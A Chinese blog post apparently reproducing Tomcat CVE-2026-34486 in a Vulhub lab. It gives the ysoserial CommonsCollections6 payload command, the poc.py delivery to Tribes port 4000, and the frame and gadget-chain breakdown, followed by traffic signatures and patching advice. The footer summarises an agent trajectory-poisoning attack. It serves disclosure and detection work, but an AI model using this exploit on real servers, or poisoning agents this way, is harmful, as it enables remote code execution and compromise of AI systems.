解密失败,消息却继续走:TomcatCVE-2026-34486复现与流量分析"

admin 2026-10-18 05:49:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

解密失败,消息却继续走:Tomcat CVE-2026-34486 复现与流量分析

原创

MessFeel
MessFeel

MessFreeSecurity

2026年8月7日 00:10
北京

在小说阅读器读本章

去阅读

一次完整靶场复现:从四项利用条件、CC6 payload、Tribes 封包,到终端证据和 Wireshark 流量特征。

先说结果:我在 Tomcat 9.0.116 靶场中先确认标记文件不存在,再向 Tribes Receiver 发送一个 1426 字节数据帧。目标随后创建了 /tmp/success,Tomcat 同一时间记录解密失败,HTTP 服务在触发后还能响应。抓包共 8 个 TCP 包,真正承载数据的只有 1 个包。

CVE-2026-34486 不是“发现 Tomcat 就能利用”的通用漏洞。版本、Cluster、EncryptInterceptor、端口可达性和 Gadget 类库共同决定风险。下面只写本地实际跑过的路径和对应证据。

四个条件,少一个都走不通

Apache 官方把 CVE-2026-34486 评为 Important。受影响版本范围很窄:

分支 受影响版本 首个修复版本
Tomcat 9 9.0.116 9.0.117
Tomcat 10.1 10.1.53 10.1.54
Tomcat 11 11.0.20 11.0.21

公开利用路径还要求四项配置同时成立:

  1. server.xml

启用了 Tomcat Cluster;
2. Channel 配置了 EncryptInterceptor;
3. 攻击来源能够连接 Tribes Receiver,常见端口是 TCP 4000;
4. Tomcat 或业务应用的 classpath 中存在可用的 Java 反序列化 Gadget。

单节点 Tomcat、没有 Cluster、没有 EncryptInterceptor,或者已经升级到修复版本,都不属于本文复现的路径。只根据 8080 页面指纹报高危,误报会很多。

4000 端口在真实业务里做什么

OA、ERP、CRM、统一门户和电商后台常用多台 Tomcat 承载同一套业务。负载均衡分发 HTTP 请求,Tomcat Tribes 在节点之间复制 Session。用户的请求换到另一台节点后,登录状态不会立刻丢失。

4000 往往不直接暴露给互联网,但下面几种生产配置仍会留下入口:

  • 云安全组允许整个 VPC 访问 4000,而不是只允许几台集群节点;
  • Kubernetes 没有 NetworkPolicy,普通 Pod 也能连接 Tomcat Receiver;
  • DMZ 使用平面网络,一台边缘主机失陷后可以继续访问其他业务节点;
  • 办公网、VPN 或运维区到服务器区缺少端口级访问控制;
  • Docker 或云端口映射误把 4000 发布到公网。

因此,公网误开放是最短路径,内网横向移动是更常见的业务风险。排查时既要看公网,也要看 VPC、容器网络和 DMZ 的东西向访问。

代码就错了一行位置

漏洞不涉及破解 AES。Tomcat 9.0.116 的关键处理可以压缩成下面几行:

try{
    data = encryptionManager.decrypt(data);
    message.replaceWith(data);
}catch(GeneralSecurityException e){
    log.error(\"Failed to decrypt message\", e);
}
super.messageReceived(message);// 解密失败后仍向下传递

攻击者发送结构合法、内容未加密的 Tribes 消息。解密函数抛出异常后,旧代码只记日志,没有停止处理。原始字节继续进入下游,随后被当作 Java 序列化对象读取。

Apache 的修复把 super.messageReceived(message) 移进 try:

try{
    data = encryptionManager.decrypt(data);
    message.replaceWith(data);
super.messageReceived(message);// 只有解密成功才继续
}catch(GeneralSecurityException e){
    log.error(\"Failed to decrypt message\", e);
}

修复后的代码遇到解密异常就停在拦截器内,不再把未经验证的原始消息交给反序列化入口。

单独复现:环境和成功标准

本地复现使用 Vulhub 固定环境,参数如下:

  • Tomcat:9.0.116.0;
  • Java:Temurin 1.8.0\_482,linux/amd64;
  • 配置:Cluster、EncryptInterceptor、NioReceiver TCP 4000;
  • Gadget 类库:commons-collections-3.2.1.jar;
  • payload 生成器:ysoserial 0.0.6,CommonsCollections6;
  • 成功标准:发送前标记不存在,发送后目标创建标记;同一窗口出现解密失败日志;触发后 HTTP 端点仍能响应。

启动靶场后,先核对版本和配置:

git clone --depth 1 https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2026-34486
docker compose up -d

docker compose exec -T tomcat sh -lc'
  java -version
  grep -nE \"Cluster|EncryptInterceptor|NioReceiver|port=\" \\
    /usr/local/tomcat/conf/server.xml
  find /usr/local/tomcat -type f -name \"commons-collections*.jar\"
'

Payload 是怎么生成的

我用 CC6 生成一个只执行 touch /tmp/success 的标记 payload。命令不联网,也不读取业务数据,复现结果可以直接用文件元数据核对。

curl-fL-o ysoserial-all.jar \\
  https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

echo'2c9bddd6a1a4ec66c1078ea97dacb61eb66d1c41aec7b6d21e3c72214ce170f1  ysoserial-all.jar'\\
|shasum-a 256 -c-

java-jar ysoserial-all.jar CommonsCollections6 \\
'touch /tmp/success'> payload.ser

wc-c payload.ser
xxd-l 16 payload.ser
shasum-a 256 payload.ser

命令生成的 payload.ser 为 1291 字节,SHA-256 为:

5c6a8f42fafb64a9d23ac9844fe6aa5e9f71dbf3cefdf731aa3718a159eb33db

文件开头是 ac ed 00 05。AC ED 是 Java 序列化流魔数,00 05 是流版本。CC6 对象图可以简化成:

HashSet
└── HashMap 的 key = TiedMapEntry
    └── LazyMap
        └── ChainedTransformer
            ├── ConstantTransformer(Runtime.class)
            ├── InvokerTransformer(\"getMethod\", \"getRuntime\")
            ├── InvokerTransformer(\"invoke\")
            └── InvokerTransformer(\"exec\", \"touch /tmp/success\")

目标端调用 ObjectInputStream.readObject() 后,HashSet.readObject() 会重建集合。HashMap 为恶意 key 重新计算哈希值,调用进入 TiedMapEntry.hashCode() 和 LazyMap.get(),最后触发 Transformer 链。Transformer 链通过反射取得 Runtime.getRuntime(),再调用 exec()。

目标 classpath 必须存在这组 Commons Collections 类,链条才会走完。本地镜像中的 commons-collections-3.2.1.jar 提供了需要的类。

poc.py 只负责外层封包

payload.ser 是 Java 对象流,Vulhub 的 poc.py 负责把对象流装进 Tomcat Tribes 消息并发送到 Receiver。脚本不生成 Gadget。

实际发送的 TCP 载荷为 1426 字节,布局如下:

偏移 0—6       FLT2002,Tribes 帧头
偏移 7—10      数据区长度 1408,大端序
偏移 11—123    options、时间戳、UUID 和成员信息
偏移 124—127   payload 长度 1291
偏移 128—1418  完整 payload.ser,开头为 AC ED 00 05
偏移 1419—1425 TLF2003,Tribes 帧尾

时间戳和成员信息会随运行环境变化,所以整帧哈希和部分偏移不是通用检测常量。抓包里的 payload.ser 从偏移 128 开始;复现分析脚本已逐字节核对这 1291 字节与磁盘文件完全一致。

发送前先做负对照

先删除旧标记,再确认文件不存在:

docker compose exec -T tomcat rm -f /tmp/success
docker compose exec -T tomcat sh -lc'
  test ! -e /tmp/success && echo \"negative_control=marker_absent\"
'

然后从独立发送容器连接目标的 4000 端口:

NETWORK=\"$(docker inspect \"$(docker compose ps -q tomcat)\"\\
--format'{{range $name, $_ := .NetworkSettings.Networks}}{{$name}}{{end}}')\"

docker run --rm--network\"$NETWORK\"\\
-v\"$PWD:/lab:ro\"-w /lab python:3.13-alpine \\
  python /lab/poc.py -t tomcat -p 4000 -f /lab/payload.ser

图 1|本地终端原生截图。发送前确认标记不存在,随后向 Receiver 发送 1291 字节 payload 组成的 1426 字节 Tribes 帧。截图记录的是触发侧输出。

发送后核对三组证据

docker compose exec -T tomcat stat /tmp/success

docker compose logs --since=2m tomcat \\
|grep-E'Failed to decrypt|IllegalBlockSizeException'

docker compose exec -T tomcat sh -lc'
  wget -qO- http://127.0.0.1:8080/ >/dev/null \\
    && echo post_trigger_http=ok
'

图 2|本地终端原生截图。目标创建了零字节标记文件,同一窗口出现 IllegalBlockSizeException,触发后的 HTTP 检查返回 OK。

这三项证据分别对应命令结果、漏洞分支和服务状态。HTTP 返回 OK 只说明端点在检查时还能响应,不代表延迟、CPU、内存和并发能力没有变化。

原生流量截图:8 个包里只有 1 个带数据

抓包使用独立容器共享目标网络命名空间,过滤 TCP 4000:

tcpdump-i any -nn-s 0 -U\\
-w /capture/cve-2026-34486-run4.pcap 'tcp port 4000'

PCAP 共 8 个包,时间跨度 10.709 毫秒:

1  客户端 → 服务端  SYN
2  服务端 → 客户端  SYN, ACK
3  客户端 → 服务端  ACK
4  客户端 → 服务端  PSH, ACK   TCP Len=1426
5  服务端 → 客户端  ACK
6  客户端 → 服务端  FIN, ACK
7  服务端 → 客户端  FIN, ACK
8  客户端 → 服务端  ACK

图 3|本地 Wireshark 原生截图。第 4 包承载全部 1426 字节应用数据;字节窗可见 FLT2002、AC ED 00 05、java.util.HashSet 和 CC6 类名。

服务端没有返回应用层数据,只确认收到载荷,随后双方关闭连接。单看“没有响应”无法判断利用是否成功,目标文件、Tomcat 日志和主机行为才是结果证据。

图 4|同一个第 4 包向后滚动后的原生截图。字节窗可直接读到 touch /tmp/success、反射方法名和 Commons Collections 类名。

原始 PCAP 的 SHA-256 为:

c81f5d8bbeeaa978dd474979f04f6c928fb908b0c16c21a8ea167adbdac3895e

流量特征怎么分析

第一层:短连接形态

抓到的会话只有一次握手、一个大载荷、确认和挥手,10.709 毫秒结束。这个形态适合做异常会话筛选,但不能单独定性。正常集群消息也可能很短。

第二层:Tribes 外层结构

重组后的 TCP 流以 FLT2002 开头,以 TLF2003 结束。帧头后面的四字节长度是 1408,与实际数据区长度一致。检测设备应先重组 TCP,再解析长度字段,不能假定一个 Tribes 消息永远落在一个网络包内。

第三层:加密通道里出现明文序列化对象

重组后的流在 TCP 载荷偏移 128 出现 AC ED 00 05,后面可以直接看到:

java.util.HashSet
org.apache.commons.collections.keyvalue.TiedMapEntry
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.functors.ChainedTransformer
java.lang.Runtime
touch /tmp/success

正常启用 EncryptInterceptor 时,Tribes 外层帧仍可识别,但消息 payload 应是密文。加密通道中直接出现 Java 序列化魔数、Gadget 类名和命令字符串,是比“4000 端口有流量”更强的异常特征。

第四层:日志和主机行为做确认

网络侧命中后,再关联同一时间窗口中的两类事件:

  • Tomcat 出现 EncryptInterceptor.messageReceived Failed to decrypt message、IllegalBlockSizeException 或其他密码异常;
  • Java 进程派生 shell、解释器或下载工具,临时目录出现新文件,或者 Tomcat 发起新的 DNS、HTTP 和内网连接。

高置信检测可以写成:非集群成员访问 Receiver + Tribes 帧中出现明文 Java 对象流 + Tomcat 解密失败 + Java 子进程或文件变化。

固定命令字符串、固定 packet 哈希和固定偏移都不适合作为唯一规则。换一个 Gadget、换一条命令、改变成员信息,或者发生 TCP 分段,简单字符串规则就会漏报。

排查和修复

先用配置把无关资产筛掉:

catalina.sh version

grep-nE'Cluster|EncryptInterceptor|NioReceiver|port='\\
\"$CATALINA_BASE/conf/server.xml\"

ss-lntp|grep':4000'

find\"$CATALINA_BASE\"-type f -name'*.jar'|sort

处置顺序很直接:

  1. Tomcat 9 升到 9.0.117 或更新版本,10.1 升到 10.1.54 或更新版本,11 升到 11.0.21 或更新版本;
  2. Receiver 只允许明确的集群节点访问,不要放行整个 VPC、DMZ、办公网或 Kubernetes 集群;
  3. 业务不用 Cluster 时删除相关配置并关闭 Receiver;
  4. 清理不需要的危险旧类库,但类库清理不替代升级;
  5. 降低 Tomcat 进程权限,限制写目录、密钥访问和无关网段连接。

最后

CVE-2026-34486 的危险结果是远程代码执行,限制条件也很明确。排查不要从“全网 Tomcat”开始,先找启用了 Cluster 和 EncryptInterceptor 的节点,再核对 4000 的访问边界、精确版本和 Gadget 类库。

本地抓包还给出一个很实用的检测方向:加密 Tribes 通道里出现明文 AC ED 00 05、反序列化类名和命令字符串,同时伴随解密失败日志。网络、日志和主机三侧一起看,比匹配一段固定 payload 稳定得多。

参考资料

Apache Tomcat 9 Security

Apache Tomcat 10 Security

Apache Tomcat 11 Security

Apache Tomcat 修复提交 776e12b3

Vulhub CVE-2026-34486 靶场

ysoserial CommonsCollections6 v0.0.6


解密失败,消息却继续走:TomcatCVE-2026-34486复现与流量分析" 网络安全文章

解密失败,消息却继续走:TomcatCVE-2026-34486复现与流量分析"

CVE-2026-34486是ApacheTomcat中一个需要特定配置才能利用的反序列化漏洞,影响9.0.116等版本。漏洞成因是解密失败后未停止处理,导致未加密的Tribes消息被反序列化。复现需启用Cluster和EncryptInterceptor,且classpath存在Gadget。攻击流量特征为短连接和明文序列化对象。建议升级到修复版本并检查网络配置。
全栈式自动化网络安全智能体平台--yunkunsec" 网络安全文章

全栈式自动化网络安全智能体平台--yunkunsec"

YunkunSec(云鲲安全)是一个LLM-first全栈式自动化网络安全智能体平台,集成AgentLoop、Skills/RAG、工具编排、证据链、漏洞验证与报告生成。适用于企业内部安全评估、红队测试、安全运营等场景,支持Web应用、API、网络服务和主机环境安全检查。工具需在虚拟机中运行,并注意安全风险。
当经验成为指令:自进化智能体技能系统中的轨迹投毒攻击" 网络安全文章

当经验成为指令:自进化智能体技能系统中的轨迹投毒攻击"

本文提出针对自进化智能体技能系统的轨迹投毒攻击PoisonedEvolution,通过构造因果关联的恶意轨迹、多轨迹复现和载荷语义编码,诱导系统将恶意行为提炼为正式skill。实验在SkillClaw上实现91%嵌入率,关键发现是重复模式与因果关联是攻击成功决定性因素。建议防御方加强轨迹来源验证和进化器鲁棒性。
比利时八成银行都在用的电子签名工具,被我们找到了一个能直接控制你电脑的漏洞" 网络安全文章

比利时八成银行都在用的电子签名工具,被我们找到了一个能直接控制你电脑的漏洞"

Connective签名扩展是比利时eID生态核心组件,覆盖200多万用户、8家银行和60多个政府机构。研究发现其存在严重设计缺陷:activationToken无域名绑定,任何网站可静默读取eID和银行卡数据;PIN码加密密钥与密文打包直接暴露给网页,可被用于伪造签名;通过library参数可实现远程代码执行。修复耗时146天,暴露了QTSP安全认证体系的不足。建议用户检查扩展权限,企业应进行渗透测试。
评论:0   参与:  0